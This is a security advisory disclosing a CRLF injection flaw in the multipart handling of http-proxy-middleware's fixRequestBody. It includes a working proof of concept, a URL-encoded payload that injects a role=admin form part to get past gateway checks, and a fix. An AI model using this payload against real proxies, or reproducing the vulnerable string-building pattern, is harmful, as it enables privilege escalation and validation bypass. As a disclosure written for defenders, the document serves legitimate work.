CVE-2026-55603

Description

## Summary `fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**: ```js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); let str = ''; for (const [key, value] of Object.entries(data)) { str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`; } } ``` A `\r\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. By contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping. ## Preconditions All three must hold; this narrows real-world exposure and is the basis for `AC:H`: 1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input. 2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls `fixRequestBody` (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key. > Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser. ## Impact When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin). - **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices). - **File-part injection** inject a `filename="..."` part into the upstream multipart stream. ## Proof of Concept ```js // npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs) import { fixRequestBody } from 'http-proxy-middleware'; // `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it. // The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF: const req = { readableLength: 0, body: { user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--' }}; // Minimal stand-in for the outgoing proxy request; capture what gets written. const out = []; const proxyReq = { h: { 'content-type': 'multipart/form-data; boundary=BB' }, getHeader(n){ return this.h[n.toLowerCase()]; }, setHeader(n,v){ this.h[n.toLowerCase()] = v; }, write(d){ out.push(Buffer.from(d)); }, }; fixRequestBody(proxyReq, req); // library rebuilds the multipart body console.log(Buffer.concat(out).toString()); ``` Output: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF: ``` --BB Content-Disposition: form-data; name="user" alice --BB Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys admin --BB-- ``` `req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--` ## Remediation Neutralize CR/LF (and `"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix: ```js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); const bad = /[\r\n]/; let str = ''; for (const [key, value] of Object.entries(data)) { const v = String(value); if (bad.test(key) || bad.test(v)) { throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value'); } str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`; } } ``` (Reject is preferable to silent stripping, to avoid masking malicious input.)